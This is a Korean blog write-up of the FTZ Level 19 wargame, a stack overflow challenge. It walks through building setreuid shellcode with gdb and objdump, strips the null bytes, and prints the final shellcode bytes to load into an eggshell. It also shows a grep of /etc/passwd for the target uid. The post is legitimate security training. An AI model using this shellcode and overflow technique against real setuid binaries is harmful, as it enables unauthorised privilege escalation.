FTZ Level 19에 접속하여 힌트를 봅니다.
이제 소스만 보고도 구조가 대충 그려지네요.
gdb를 사용하여
더미가 20byte인것도 확인합니다.
메모리 구조는
RET 4
SFP 4
Dummy 20
buf 20
입니다.
간단한 소스입니다.
그런데 평소처럼 eggshell과 getenv를 사용했는데 아무런 반응이 없습니다.
다시 소스를 보니 seteruid가 없네요;;
그렇다면 seteruid를 설정하는 쉘코드를 eggshell에 같이 넣어주면 됩니다. ㅎㅎ
grep을 이용해 레벨 20의 uid를 확인합니다.
grep level20 /etc/passwd
uid를 설정하는 코드를 만들어서
쉘코드로 작성하여 줍니다.
작성한 프로그램을
gcc에 -static -g 옵션을 주어 컴파일 한 후,
gdb로 main 함수를 봅니다.
여기서
필요한 내용은
main<+19>, main<+24>, main<+29>
입니다.
인자값을 push한후 setreuid를 불러와 넣어주는 부분입니다.
그리고 setreuid 함수를 봅니다.
여기서 필요한 부분은
<setreuid+56>~<setreuid+70> 구간입니다.
각 구간을 정리해서 봅시다.
0x080481e3 <main+19>: push $0xc1c
0x080481e8 <main+24>: push $0xc1c
0x080481ed <main+29>: call 0x804df48 <setreuid>
0x0804df80 <setreuid+56>: mov 0x8(%ebp),%eax
0x0804df83 <setreuid+59>: mov 0xc(%ebp),%ecx
0x0804df86 <setreuid+62>: push %ebx
0x0804df87 <setreuid+63>: mov %eax,%ebx
0x0804df89 <setreuid+65>: mov $0x46,%eax
0x0804df8e <setreuid+70>: int $0x80
이를 토대로 어셈블리 코드를 작성하면
mov $0xc1c %ebx
mov $0xc1c %ecx
mov $0x46, %al
이 됩니다.
이 프로그램을 gcc로 컴파일 한 후,
objdump를 사용합니다.
이제 0x00들을 없애줘야 겠군요
$0xc1c 때문에 발생한 코드로 각각 bx레지스터와 cx레지스터에만 채워지도록 합니다.
그리고 다시 컴파일하여
objdump로 살펴봅니다.
여기서 필요한 부분은
입니다.
쉘코드를 조합하면
"\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80"
이 됩니다.
작성된 코드를 에그쉘에 작성하고
에그쉘의 주소를 알아낸 후
코드를 작성하면
풀립니다.
이 문제는 쉘코드를 작성할 수 있는지 물어보는 문제 같습니다.
'Security > Pwnable' 카테고리의 다른 글
LOB Level 1 gate (0) | 2021.08.09 |
---|---|
FTZ Level 20 (0) | 2021.08.09 |
FTZ Level 18 (0) | 2021.08.09 |
FTZ Level 17 (0) | 2021.08.09 |
FTZ Level 16 (0) | 2021.08.09 |